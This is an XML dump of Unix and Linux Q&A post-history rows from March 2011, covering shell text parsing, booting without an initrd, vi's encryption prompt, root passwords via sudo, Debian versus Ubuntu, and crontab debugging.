  <row Id="22477" PostHistoryTypeId="5" PostId="9444" RevisionGUID="89fcf14b-6c9d-4efa-a8e2-769a687127c9" CreationDate="2011-03-17T10:23:13.453" UserId="3645" Comment="added 407 characters in body" Text="I'm running a cron job which should get only the last result of `iostat -d 1 2`. This requires some parsing: What is the simplest way to get either the **last set of non-empty lines** from standard input to standard output if the length of each set is unknown?&#xD;&#xA;&#xD;&#xA;Bad/non-working solutions:&#xD;&#xA;&#xD;&#xA;* `tail` since I'd still need to count the number of lines in the last set. `iostat -d 1 2 | tail -$(echo &quot;$(iostat -d 1 2 | wc -l) / 2&quot; | bc)` depends on equal set sizes.&#xD;&#xA;* `split`/`csplit` since they output to file, and keep the useless part of the data.&#xD;&#xA;* `iostat -d 1 2 | sed '1,/^$/d' | sed '1,/^$/d'` works only in this special case, since it gets the third set of non-empty lines, but also includes any trailing newlines.&#xD;&#xA;* `iostat -d 1 2 | tac | sed '1,/^$/d' | sed '/^$/q'` is a slightly better hack: Reverse and print the first set. However, since `iostat` outputs an empty line at the end, we first remove that then print until the next empty line in the reversed output. Other commands might output any number of newlines at the end, so it's not a general solution. Reverse again if you want to keep the original sequence.&#xD;&#xA;* `grep -P` with `\Z` seems to only detect EOL, not EOF." />
  <row Id="22478" PostHistoryTypeId="2" PostId="9448" RevisionGUID="63b7730e-27dc-41a1-9952-239e728e405d" CreationDate="2011-03-17T10:45:47.263" UserId="2466" Text="In this case the domain resolution is not done in your browser, but in the proxy server. The command line, and all other &quot;local&quot; programs, rely on the domain resolution capabilities of your OS, unless you use lynx with a proxy configured, of course." />
  <row Id="22479" PostHistoryTypeId="2" PostId="9449" RevisionGUID="9c29133e-a3a5-4a8c-bf6f-e26ff4938a88" CreationDate="2011-03-17T10:49:42.890" UserId="872" Text="You can use `awk` with a record separator of &quot;\n\n&quot;. That way each &quot;set&quot; is one record and you can easily print out the last one.&#xD;&#xA;&#xD;&#xA;    iostat -d 1 2 | awk '{RS=&quot;\n\n&quot;;}END{print}'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22480" PostHistoryTypeId="2" PostId="9450" RevisionGUID="87564639-3adb-41e0-b2c9-676e534c239c" CreationDate="2011-03-17T10:55:16.723" UserId="4667" Text="`perl -00` is a good way to read one paragraph at a time, so the last paragraph is:&#xD;&#xA;&#xD;&#xA;    perl -00 -ne '$para = $_; END {print $para}'" />
  <row Id="22481" PostHistoryTypeId="5" PostId="9449" RevisionGUID="331938f8-a351-4ec7-ba30-5ba63e9256bf" CreationDate="2011-03-17T10:58:22.633" UserId="872" Comment="added 6 characters in body" Text="You can use `awk` with a record separator of &quot;\n\n&quot;. That way each &quot;set&quot; is one record and you can easily print out the last one.&#xD;&#xA;&#xD;&#xA;    iostat -d 1 2 | awk 'BEGIN{RS=&quot;\n\n&quot;}END{print}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22482" PostHistoryTypeId="25" PostId="9447" RevisionGUID="a760e330-0f74-4868-9741-011c48f14005" CreationDate="2011-03-17T11:31:19.973" Comment="http://twitter.com/#!/StackUnix/status/48345666912653312" />
  <row Id="22483" PostHistoryTypeId="2" PostId="9451" RevisionGUID="bb0fe731-26ec-41ab-87ad-7f791424aff2" CreationDate="2011-03-17T11:36:18.607" UserId="5763" Text="Is it possible to boot linux without a initrd.img ? I am planning to add default drivers as a part-of-kernel itself and avoid initrd completely.&#xD;&#xA;&#xD;&#xA;What are the modules that should be made part-of-the-kernel instead of loadable modules ?" />
  <row Id="22484" PostHistoryTypeId="1" PostId="9451" RevisionGUID="bb0fe731-26ec-41ab-87ad-7f791424aff2" CreationDate="2011-03-17T11:36:18.607" UserId="5763" Text="Booting without initrd" />
  <row Id="22485" PostHistoryTypeId="3" PostId="9451" RevisionGUID="bb0fe731-26ec-41ab-87ad-7f791424aff2" CreationDate="2011-03-17T11:36:18.607" UserId="5763" Text="élinuxàékernelàébootàékernelömodulesàéinitrdà" />
  <row Id="22486" PostHistoryTypeId="5" PostId="9439" RevisionGUID="d096e3cd-cb1f-462c-8114-517076c26afb" CreationDate="2011-03-17T11:47:06.917" UserId="5281" Comment="added 549 characters in body" Text="The Dynamic Host Configuration Protocol (DHCP) is an auto configuration protocol used on IP networks. Computers that are connected to IP networks must be configured before they can communicate with other computers on the network. DHCP allows a computer to be configured automatically, eliminating the need for intervention by a network administrator. It also provides a central database for keeping track of computers that have been connected to the network. This prevents two computers from accidentally being configured with the same IP address.&#xD;&#xA;" />
  <row Id="22487" PostHistoryTypeId="24" PostId="9439" RevisionGUID="d096e3cd-cb1f-462c-8114-517076c26afb" CreationDate="2011-03-17T11:47:06.917" Comment="Proposed by 5281 approved by 29 edit id of 211" />
  <row Id="22488" PostHistoryTypeId="2" PostId="9452" RevisionGUID="1322ecfe-dd4b-412f-86b2-4d86e387f274" CreationDate="2011-03-17T11:49:33.830" UserId="5817" Text="This has annoyed me for years but I've never found a solution.&#xD;&#xA;Instead of pressing Esc then :x to save an exit from vi, I accidentally type a capital X and press Enter. The only way to continue is to allow encryption. Surely there's a cancel command at this point?" />
  <row Id="22489" PostHistoryTypeId="1" PostId="9452" RevisionGUID="1322ecfe-dd4b-412f-86b2-4d86e387f274" CreationDate="2011-03-17T11:49:33.830" UserId="5817" Text="How to cancel :X encryption in vi" />
  <row Id="22490" PostHistoryTypeId="3" PostId="9452" RevisionGUID="1322ecfe-dd4b-412f-86b2-4d86e387f274" CreationDate="2011-03-17T11:49:33.830" UserId="5817" Text="évià" />
  <row Id="22491" PostHistoryTypeId="2" PostId="9453" RevisionGUID="b6c67b86-e926-4d29-a791-87f54a808bdc" CreationDate="2011-03-17T11:50:38.540" UserId="3389" Text="It is, unless your root volume is on an LVM, on a dmcrypt partition, or otherwise requires commands to be run before it can be accessed.&#xD;&#xA;&#xD;&#xA;I haven't used an initrd on my server in years.  You need at a minimum these modules built in:&#xD;&#xA;&#xD;&#xA; -  the drivers of whatever controller where your root volume disk lives&#xD;&#xA; -  the drivers necessary to &quot;get to&quot; that like PCI, PCIe support, USB support, etc.&#xD;&#xA; -  the modules that run the filesystem mounted on it &#xD;&#xA;&#xD;&#xA;  It's also a very good idea to build in your network card drivers as well.&#xD;&#xA;&#xD;&#xA;  I've found that `lspci`/`lsmod` can help you here from your currently running kernel, look at what's there and use the make menuconfig search option before compiling to find where to enable the modules.&#xD;&#xA;" />
  <row Id="22492" PostHistoryTypeId="2" PostId="9454" RevisionGUID="df0cb680-7af6-44d9-85d5-ee2542a2bea3" CreationDate="2011-03-17T12:01:21.333" UserId="4200" Text="You just have to enter an empty password twice. There will be no encryption." />
  <row Id="22493" PostHistoryTypeId="2" PostId="9455" RevisionGUID="e5edab9e-55eb-4996-8782-70d95df285b2" CreationDate="2011-03-17T12:16:41.853" UserId="5785" Text="Even with NetworkManager running, you can to use dhclient. Try killing dhclient and call it again:&#xD;&#xA;&#xD;&#xA;    # killall dhclient&#xD;&#xA;    # dhclient&#xD;&#xA;&#xD;&#xA;If this doesn't help, you must see your network configuration, there are a lot of information about it in manpages (see 'man -k dhclient').&#xD;&#xA;&#xD;&#xA;Anyway, this may help too: [http://serverfault.com/questions/231076/configuring-dhcp-on-rhel-6][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/231076/configuring-dhcp-on-rhel-6" />
  <row Id="22494" PostHistoryTypeId="2" PostId="9456" RevisionGUID="28fa91b6-9b7f-4cb3-936f-4cb3eb327385" CreationDate="2011-03-17T12:30:12.767" UserId="1594" Text="I can sudo, but I don't have the root password so I can't `su root`. Using sudo, can I change the root password?" />
  <row Id="22495" PostHistoryTypeId="1" PostId="9456" RevisionGUID="28fa91b6-9b7f-4cb3-936f-4cb3eb327385" CreationDate="2011-03-17T12:30:12.767" UserId="1594" Text="Can I change root password by sudo, without su?" />
  <row Id="22496" PostHistoryTypeId="3" PostId="9456" RevisionGUID="28fa91b6-9b7f-4cb3-936f-4cb3eb327385" CreationDate="2011-03-17T12:30:12.767" UserId="1594" Text="ésudoàépasswordà" />
  <row Id="22497" PostHistoryTypeId="5" PostId="9450" RevisionGUID="1df45c7b-f940-43c9-b335-e37509e8866d" CreationDate="2011-03-17T12:42:58.990" UserId="3645" Comment="Fixed link" Text="[`perl -00`][1] is a good way to read one paragraph at a time, so the last paragraph is:&#xD;&#xA;&#xD;&#xA;    perl -00 -ne '$para = $_; END {print $para}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perldoc.perl.org/perlrun.html#*-0*%5B_octal/hexadecimal_%5D" />
  <row Id="22498" PostHistoryTypeId="24" PostId="9450" RevisionGUID="1df45c7b-f940-43c9-b335-e37509e8866d" CreationDate="2011-03-17T12:42:58.990" Comment="Proposed by 3645 approved by 29 edit id of 213" />
  <row Id="22499" PostHistoryTypeId="2" PostId="9457" RevisionGUID="89e302b3-4800-4bff-9106-c708b1c74ecb" CreationDate="2011-03-17T12:43:35.777" UserId="688" Text="Try this:&#xD;&#xA;&#xD;&#xA;    sudo passwd&#xD;&#xA;&#xD;&#xA;Note that you also wanna log in using `su -` instead of `su` ([more info][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/7013/688" />
  <row Id="22500" PostHistoryTypeId="2" PostId="9458" RevisionGUID="79671e23-83dc-468d-9d73-21a393dc9ec0" CreationDate="2011-03-17T12:45:25.477" UserId="5661" Text="So you want to run something like `sudo passwd root`? I don't think that this works everywhere, and the serious systems will ask for the old password before setting the new one.&#xD;&#xA;&#xD;&#xA;PS: This should be a comment, but I don't have permissions yet" />
  <row Id="22501" PostHistoryTypeId="2" PostId="9459" RevisionGUID="f43321ec-3d97-4e82-adc2-a3cb789e23c4" CreationDate="2011-03-17T13:00:10.307" UserId="5819" Text="I'm getting sick of Ubuntu's seemingly random changes. I'm thinking of switching to Debian permanently. Does anyone know if there's a list of changes between the two distros somewhere? I want to know what I'm getting myself into." />
  <row Id="22502" PostHistoryTypeId="1" PostId="9459" RevisionGUID="f43321ec-3d97-4e82-adc2-a3cb789e23c4" CreationDate="2011-03-17T13:00:10.307" UserId="5819" Text="Differences between Debian and Ubuntu" />
  <row Id="22503" PostHistoryTypeId="3" PostId="9459" RevisionGUID="f43321ec-3d97-4e82-adc2-a3cb789e23c4" CreationDate="2011-03-17T13:00:10.307" UserId="5819" Text="éubuntuàédebianà" />
  <row Id="22504" PostHistoryTypeId="2" PostId="9460" RevisionGUID="f17847f2-9c78-46a3-9ec8-4a53f2ba8744" CreationDate="2011-03-17T13:15:11.073" UserId="4200" Text="You can also just use&#xD;&#xA;&#xD;&#xA;    sudo su&#xD;&#xA;&#xD;&#xA;and keep the root account without password." />
  <row Id="22505" PostHistoryTypeId="2" PostId="9461" RevisionGUID="209fe708-0890-4e4f-be8f-72bc5db6c8f4" CreationDate="2011-03-17T13:17:54.187" UserId="5661" Text="I think that this [article][1] explains some stuff. In short: different installers, no proprietary software and impressive GUI settings in Debian by default, Debian's major updates can last for years (this is for good IMHO), Unstable, Testing, and Stable repositories -- you choose what to favor (security vs latest versions of applications)...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_1/Debian-vs-Ubuntu-Contrasting-Philosophies.htm" />
  <row Id="22506" PostHistoryTypeId="2" PostId="9462" RevisionGUID="389bf9f1-f80c-4a56-a1a0-78f45bb67fe8" CreationDate="2011-03-17T13:23:43.917" UserId="688" Text="Here's more I'm aware of (on top of [these][1]):&#xD;&#xA;&#xD;&#xA;* The most visible one to me is that Ubuntu treats sudo with greater regard than Debian. During Debian installation, the default option is to set up root password, as opposed to Ubuntu installation.&#xD;&#xA;* Ubuntu desktop is more polished (customised) than Debian's. Ubuntu's high regard for sudo is visible here too. For example, even though you specify you don't want to set root password on Debian, the desktop is still going to ask you to enter root password, even if it hasn't been set up yet.&#xD;&#xA;* The Ubuntu installer is far prettier and, consequently, far heavier to run. It's isn't much easier though, that is Debian's installer is quite easy to use as it is.&#xD;&#xA;* It's much easier to run a 3D desktop (Compiz) on Ubuntu than on Debian. I is just a few clicks away, while in the case of Debian, you actually have to use the command line to run it.&#xD;&#xA;* YMMV, but many have claimed that Debian is more stable. I can attest to that, although I haven't actually checked recently.&#xD;&#xA;* Debian is more conservative regarding system-wide technical changes, partly because it takes much more co-ordination to get things done, given it's a volunteer project without real Dictator (Benevolent or not).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9459/differences-between-debian-and-ubuntu/9461#9461" />
  <row Id="22507" PostHistoryTypeId="2" PostId="9463" RevisionGUID="c444de23-a7ec-48c6-b87d-5e0da09ce75b" CreationDate="2011-03-17T13:31:20.087" UserId="5785" Text="Go to the source:&#xD;&#xA;&#xD;&#xA;Where did it all begin?&#xD;&#xA;&#xD;&#xA;&gt; Linux was already established as an&#xD;&#xA;&gt; enterprise server platform in 2004.&#xD;&#xA;&gt; But free software was still not a part&#xD;&#xA;&gt; of everyday life for most computer&#xD;&#xA;&gt; users. That's why Mark Shuttleworth&#xD;&#xA;&gt; gathered a small team of developers&#xD;&#xA;&gt; from one of the most established Linux&#xD;&#xA;&gt; projects – Debian - and set out to&#xD;&#xA;&gt; create an easy-to-use Linux desktop,&#xD;&#xA;&gt; Ubuntu. The vision for Ubuntu is part&#xD;&#xA;&gt; social and part economic: free&#xD;&#xA;&gt; software, available free of charge to&#xD;&#xA;&gt; everybody on the same terms, and&#xD;&#xA;&gt; funded through a portfolio of services&#xD;&#xA;&gt; provided by Canonical.&#xD;&#xA;&#xD;&#xA;From: [http://www.ubuntu.com/project/about-ubuntu][1]&#xD;&#xA;&#xD;&#xA;And then see: [http://www.ubuntu.com/community/ubuntu-and-debian][2]&#xD;&#xA;&#xD;&#xA;So, differences are thousands, but in the core, we're talking about a strong distro as debian is, with a well defined methodology and rules to say: ok, now it's &quot;stable&quot;; and a user oriented system, with defined time to release a system with mostly new and untested software.&#xD;&#xA;&#xD;&#xA;If you're a common desktop user, then you'll love ubuntu. Debian isn't yet a user-oriented system. But maybe you don't like ubuntu, nor debian, then try OpenSUSE (Learn YaST).&#xD;&#xA;&#xD;&#xA;BUT: If you're a relatively advanced Linux User, try Debian. It's better than Ubuntu for experimented users, and i'd never found it &quot;hard&quot; to use.&#xD;&#xA;&#xD;&#xA;BTW: I'm debian user since 4.0 &quot;etch&quot;, and I love it.&#xD;&#xA;&#xD;&#xA;Sorry about my English,&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/project/about-ubuntu&#xD;&#xA;  [2]: http://www.ubuntu.com/community/ubuntu-and-debian" />
  <row Id="22508" PostHistoryTypeId="5" PostId="9463" RevisionGUID="28958a11-dd5f-4904-8c1d-3bd1aa3edec7" CreationDate="2011-03-17T13:44:47.157" UserId="5785" Comment="changed &quot;experimented users&quot; -&gt; &quot;experienced users&quot;" Text="Go to the source:&#xD;&#xA;&#xD;&#xA;Where did it all begin?&#xD;&#xA;&#xD;&#xA;&gt; Linux was already established as an&#xD;&#xA;&gt; enterprise server platform in 2004.&#xD;&#xA;&gt; But free software was still not a part&#xD;&#xA;&gt; of everyday life for most computer&#xD;&#xA;&gt; users. That's why Mark Shuttleworth&#xD;&#xA;&gt; gathered a small team of developers&#xD;&#xA;&gt; from one of the most established Linux&#xD;&#xA;&gt; projects – Debian - and set out to&#xD;&#xA;&gt; create an easy-to-use Linux desktop,&#xD;&#xA;&gt; Ubuntu. The vision for Ubuntu is part&#xD;&#xA;&gt; social and part economic: free&#xD;&#xA;&gt; software, available free of charge to&#xD;&#xA;&gt; everybody on the same terms, and&#xD;&#xA;&gt; funded through a portfolio of services&#xD;&#xA;&gt; provided by Canonical.&#xD;&#xA;&#xD;&#xA;From: [http://www.ubuntu.com/project/about-ubuntu][1]&#xD;&#xA;&#xD;&#xA;And then see: [http://www.ubuntu.com/community/ubuntu-and-debian][2]&#xD;&#xA;&#xD;&#xA;So, differences are thousands, but in the core, we're talking about a strong distro as debian is, with a well defined methodology and rules to say: ok, now it's &quot;stable&quot;; and a user oriented system, with defined time to release a system with mostly new and untested software.&#xD;&#xA;&#xD;&#xA;If you're a common desktop user, then you'll love ubuntu. Debian isn't yet a user-oriented system. But maybe you don't like ubuntu, nor debian, then try OpenSUSE (Learn YaST).&#xD;&#xA;&#xD;&#xA;BUT: If you're a relatively advanced Linux User, try Debian. It's better than Ubuntu for experienced users, and i'd never found it &quot;hard&quot; to use.&#xD;&#xA;&#xD;&#xA;BTW: I'm debian user since 4.0 &quot;etch&quot;, and I love it.&#xD;&#xA;&#xD;&#xA;Sorry about my English,&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/project/about-ubuntu&#xD;&#xA;  [2]: http://www.ubuntu.com/community/ubuntu-and-debian" />
  <row Id="22509" PostHistoryTypeId="2" PostId="9464" RevisionGUID="fdabdfe1-3261-4ba3-8528-73be511569f6" CreationDate="2011-03-17T13:50:39.353" UserId="1535" Text="I used to run Debian, but got sick of waiting years for e.g. &lt;s&gt;Firefox&lt;/s&gt; &lt;s&gt;iceweasel&lt;/s&gt; icecat to be updated to a modern version.  Although security and some bug fix updates will go out between distro releases, generally you'll have to wait for a new distro release to go from, say, FF 3.5.12 to FF 4.2.  Fortunately, Debian releases have been more frequent of late, but there is still more delay and uncertainty than with Ubuntu's steady 6-month release cycle.&#xD;&#xA;&#xD;&#xA;Of course, the benefit of Debian's patient release philosophy is that the result is more secure and stable.  IMHO this is a large part of the reason that it is the upstream distro for a number of others, including Ubuntu.  However, if you're not running a server or otherwise in a security-critical environment, and/or need/want to have fairly recent versions of apps installed, then Debian may not be the best choice." />
  <row Id="22510" PostHistoryTypeId="5" PostId="1736" RevisionGUID="a11bcd8a-1ca5-42fd-911a-bb4f3fa25bb1" CreationDate="2011-03-17T13:59:52.607" UserId="73" Comment="deleted 36 characters in body; edited tags" Text="I am able to run anything using `sudo`; my password is accepted. But whenever I try to do `su` from a shell, it fails with:&#xD;&#xA;&#xD;&#xA;&gt; su: incorrect password&#xD;&#xA;&#xD;&#xA;What can the problem be?&#xD;&#xA;" />
  <row Id="22511" PostHistoryTypeId="6" PostId="1736" RevisionGUID="a11bcd8a-1ca5-42fd-911a-bb4f3fa25bb1" CreationDate="2011-03-17T13:59:52.607" UserId="73" Comment="deleted 36 characters in body; edited tags" Text="écommandölineàésudoàésuà" />
  <row Id="22512" PostHistoryTypeId="5" PostId="9458" RevisionGUID="a18907df-51d3-4899-9102-3f8493f8e108" CreationDate="2011-03-17T13:59:54.367" UserId="5661" Comment="remove the comment part" Text="So you want to run something like `sudo passwd root`? I don't think that this works everywhere, and the serious systems will ask for the old password before setting the new one." />
  <row Id="22513" PostHistoryTypeId="5" PostId="2107" RevisionGUID="e0f49e2c-6721-400f-b1f8-bb6b7fe1e84f" CreationDate="2011-03-17T14:00:25.193" UserId="1170" Comment="fixed style" Text="In the bash terminal I can hit `Control+Z` to suspend any running proccess... then I can type `fg` to resume the proccess.&#xD;&#xA;&#xD;&#xA;Is it possible to suspend a process if I only have it's PID? And if so, what command should I use?&#xD;&#xA;&#xD;&#xA;I'm looking for something like:&#xD;&#xA;&#xD;&#xA;    suspend-proccess $PID_OF_PROCCESS&#xD;&#xA;&#xD;&#xA;and then to resume it with&#xD;&#xA;&#xD;&#xA;    resume-proccess $PID_OF_PROCCESS&#xD;&#xA;" />
  <row Id="22514" PostHistoryTypeId="24" PostId="2107" RevisionGUID="e0f49e2c-6721-400f-b1f8-bb6b7fe1e84f" CreationDate="2011-03-17T14:00:25.193" Comment="Proposed by 1170 approved by -1 edit id of 214" />
  <row Id="22515" PostHistoryTypeId="5" PostId="2107" RevisionGUID="2ea5dfe5-4eeb-40a0-91cf-45f3d6d6ba8c" CreationDate="2011-03-17T14:00:25.757" UserId="73" Comment="added 20 characters in body; edited tags" Text="In the bash terminal I can hit &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to suspend any running proccess... then I can type `fg` to resume the proccess.&#xD;&#xA;&#xD;&#xA;Is it possible to suspend a process if I only have it's PID? And if so, what command should I use?&#xD;&#xA;&#xD;&#xA;I'm looking for something like:&#xD;&#xA;&#xD;&#xA;    suspend-proccess $PID_OF_PROCCESS&#xD;&#xA;&#xD;&#xA;and then to resume it with&#xD;&#xA;&#xD;&#xA;    resume-proccess $PID_OF_PROCCESS&#xD;&#xA;" />
  <row Id="22516" PostHistoryTypeId="6" PostId="2107" RevisionGUID="2ea5dfe5-4eeb-40a0-91cf-45f3d6d6ba8c" CreationDate="2011-03-17T14:00:25.757" UserId="73" Comment="added 20 characters in body; edited tags" Text="ébashàécommandölineàéjoböcontrolà" />
  <row Id="22517" PostHistoryTypeId="5" PostId="9461" RevisionGUID="4b52f5ea-4a72-4942-829b-89f3ed422685" CreationDate="2011-03-17T14:03:31.340" UserId="5661" Comment="added no to the GUI settings part" Text="I think that this [article][1] explains some stuff. In short: different installers, no proprietary software and no impressive GUI settings in Debian by default, Debian's major updates can last for years (this is for good IMHO), Unstable, Testing, and Stable repositories -- you choose what to favor (security vs latest versions of applications)...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_1/Debian-vs-Ubuntu-Contrasting-Philosophies.htm" />
  <row Id="22518" PostHistoryTypeId="5" PostId="9464" RevisionGUID="9a45e7df-c08f-4c31-a559-48e8e7926313" CreationDate="2011-03-17T14:09:01.943" UserId="1535" Comment="Added info on unstable Debian version" Text="I used to run Debian, but got sick of waiting years for e.g. &lt;s&gt;Firefox&lt;/s&gt; &lt;s&gt;iceweasel&lt;/s&gt; icecat to be updated to a modern version.  Although security and some bug fix updates will go out between distro releases, generally you'll have to wait for a new distro release to go from, say, FF 3.5.12 to FF 4.2.  Fortunately, Debian releases have been more frequent of late, but there is still more delay and uncertainty than with Ubuntu's steady 6-month release cycle.&#xD;&#xA;&#xD;&#xA;Of course, the benefit of Debian's patient release philosophy is that the result is more secure and stable.  IMHO this is a large part of the reason that it is the upstream distro for a number of others, including Ubuntu.  However, if you're not running a server or otherwise in a security-critical environment, and/or need/want to have fairly recent versions of apps installed, then Debian may not be the best choice.&#xD;&#xA;&#xD;&#xA;There's also the option to run the unstable version of Debian, which will also give you more recent apps.  I am not sure how this compares in quality to running Ubuntu; I would guess that Ubuntu falls somewhere between Debian stable and unstable in terms of security and stability." />
  <row Id="22519" PostHistoryTypeId="4" PostId="9442" RevisionGUID="d75455f0-e1d0-44ac-b618-b30dc4afcbda" CreationDate="2011-03-17T14:12:01.237" UserId="2511" Comment="edited title" Text="Why is file ownership inconsistent between two systems mounting the same NFS share?" />
  <row Id="22520" PostHistoryTypeId="5" PostId="9458" RevisionGUID="0dc2c5fd-c16f-49b1-98d2-3daff9649f23" CreationDate="2011-03-17T14:14:41.533" UserId="5661" Comment="removed the old password part" Text="So you want to run something like `sudo passwd root`? I don't think that this works everywhere." />
  <row Id="22521" PostHistoryTypeId="25" PostId="9459" RevisionGUID="b8dc9e9c-4a07-4884-851b-930453a66d54" CreationDate="2011-03-17T14:31:20.130" Comment="http://twitter.com/#!/StackUnix/status/48390966448635904" />
  <row Id="22522" PostHistoryTypeId="2" PostId="9465" RevisionGUID="5c4c0af4-4dd7-4b5b-aa89-579b196c1c53" CreationDate="2011-03-17T14:36:15.633" UserId="1996" Text="I'm observing a high load average an certain machine (about 9) in all three load fields. I understand load as the number of processes in state &quot;run&quot; / currently desiring CPU time. Am I correct at reasoning that if N processes are running on my machine this cannot produce a load greater than N? &#xD;&#xA;&#xD;&#xA;Also, does the load count in respect to processes or threads? In other words, can a multithreaded process produce a load greater than 1?" />
  <row Id="22523" PostHistoryTypeId="1" PostId="9465" RevisionGUID="5c4c0af4-4dd7-4b5b-aa89-579b196c1c53" CreationDate="2011-03-17T14:36:15.633" UserId="1996" Text="Understanding top and load average" />
  <row Id="22524" PostHistoryTypeId="3" PostId="9465" RevisionGUID="5c4c0af4-4dd7-4b5b-aa89-579b196c1c53" CreationDate="2011-03-17T14:36:15.633" UserId="1996" Text="éprocessàécpuàétopàéloadà" />
  <row Id="22525" PostHistoryTypeId="2" PostId="9466" RevisionGUID="0b88b7ce-5087-4010-8bee-7f425b97cdfc" CreationDate="2011-03-17T14:44:29.107" UserId="1594" Text="I used `crontab -e` to add the following line to my crontab:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;&#xD;&#xA;Yet, I don't see the test file is written to. Is this a permission problem, or is crontab not working correctly?&#xD;&#xA;&#xD;&#xA;I see that the cron process is running. How can I debug this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22526" PostHistoryTypeId="1" PostId="9466" RevisionGUID="0b88b7ce-5087-4010-8bee-7f425b97cdfc" CreationDate="2011-03-17T14:44:29.107" UserId="1594" Text="How to debug crontab?" />
  <row Id="22527" PostHistoryTypeId="3" PostId="9466" RevisionGUID="0b88b7ce-5087-4010-8bee-7f425b97cdfc" CreationDate="2011-03-17T14:44:29.107" UserId="1594" Text="écronà" />
  <row Id="22528" PostHistoryTypeId="2" PostId="9467" RevisionGUID="2c43326b-284d-4402-842b-e59169802a98" CreationDate="2011-03-17T14:44:51.247" UserId="5822" Text="you can also use sudo with the &quot;-i&quot; option. this will log you in as root without using the su command. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`sudo -i`" />
  <row Id="22529" PostHistoryTypeId="2" PostId="9468" RevisionGUID="f484eab2-e010-4ff5-9fe3-0036c18b84ac" CreationDate="2011-03-17T14:56:51.633" UserId="3608" Text="How to get the char at a given position of a string in shell script?" />
  <row Id="22530" PostHistoryTypeId="1" PostId="9468" RevisionGUID="f484eab2-e010-4ff5-9fe3-0036c18b84ac" CreationDate="2011-03-17T14:56:51.633" UserId="3608" Text="How to get the char at a given position of a string in shell script?" />
  <row Id="22531" PostHistoryTypeId="3" PostId="9468" RevisionGUID="f484eab2-e010-4ff5-9fe3-0036c18b84ac" CreationDate="2011-03-17T14:56:51.633" UserId="3608" Text="éshellàéshellöscriptà" />
  <row Id="22532" PostHistoryTypeId="2" PostId="9469" RevisionGUID="5c7d0b17-ec89-402a-8e55-4f19231de537" CreationDate="2011-03-17T15:08:06.407" UserId="250" Text="Your cron line works fine on my computer when I change `myusernae` to `phunehehe`. There are several ways to find out what's wrong with your system.&#xD;&#xA;&#xD;&#xA;Cron usually send mail to the user when there is something wrong. If you see the message &quot;You have mail&quot; use a mail client to [check your inbox][1]. Or, check in your home directory, there may be a file named `dead.letter` there.&#xD;&#xA;&#xD;&#xA;You can check `/var/log/` for entries relating to cron. On my computer the log file is at `/var/log/cron/current` (requires root access).&#xD;&#xA;&#xD;&#xA;If you have root access, you can stop the cron daemon and start it in debug mode. For example I would use (change `fcron` to the name of your daemon):&#xD;&#xA;&#xD;&#xA;    killall fcron&#xD;&#xA;    fcron --foreground --debug&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/9141/250" />
  <row Id="22533" PostHistoryTypeId="2" PostId="9470" RevisionGUID="a73d66fd-9180-4729-b1cb-571f1d69525f" CreationDate="2011-03-17T15:13:53.900" UserId="3976" Text="Most likely, when cron fails, it generates an email to your user id on that computer.  If you don't have an MTA working on your computer, or you aren't reading or forwarding that mail somewhere else, you won't see that message, even if the MTA is working.&#xD;&#xA;&#xD;&#xA;A good way to get your crontab's errors via mail is to make your crontab look like this:&#xD;&#xA;&#xD;&#xA;    MAILTO=&quot;myemail@example.com&quot;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;Obviously, use your email address rather than myemail@example.com.  This tells cron to send errors to your email address rather than the local account.  In particular, this is useful if you have a root crontab (or crontab fragment in /etc/cron.d) that you want to just send output to you, you can avoid spamming root's mailbox or root's forwarding address." />
  <row Id="22534" PostHistoryTypeId="2" PostId="9471" RevisionGUID="78dbf7b8-3e74-4108-bf03-bb0136ee0681" CreationDate="2011-03-17T15:18:47.670" UserId="5666" Text="In bash with &quot;Parameter Expansion&quot; ${parameter:offset:length}&#xD;&#xA;&#xD;&#xA;    $ var=abcdef&#xD;&#xA;    $ echo ${var:0:1}&#xD;&#xA;    a&#xD;&#xA;    $ echo ${var:3:1}&#xD;&#xA;    d&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22535" PostHistoryTypeId="5" PostId="9470" RevisionGUID="e25080ff-89b4-4666-a9ff-5c057253dc9b" CreationDate="2011-03-17T15:25:18.960" UserId="3976" Comment="added 16 characters in body; deleted 1 characters in body" Text="Most likely, when cron fails, it generates an email to the user id of the cron job on that computer.  If you don't have an MTA working on your computer, or you aren't reading or forwarding that mail somewhere else, you won't see that message, even if the MTA is working.&#xD;&#xA;&#xD;&#xA;A good way to get your crontab's errors via mail is to make your crontab look like this:&#xD;&#xA;&#xD;&#xA;    MAILTO=&quot;myemail@example.com&quot;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;Obviously, use your email address rather than myemail@example.com.  This tells cron to send errors to your email address rather than the local account.  In particular, this is useful if you have a root crontab (or crontab fragment in /etc/cron.d) that you want to just send output to you, you can avoid spamming root's mailbox or root's forwarding address." />
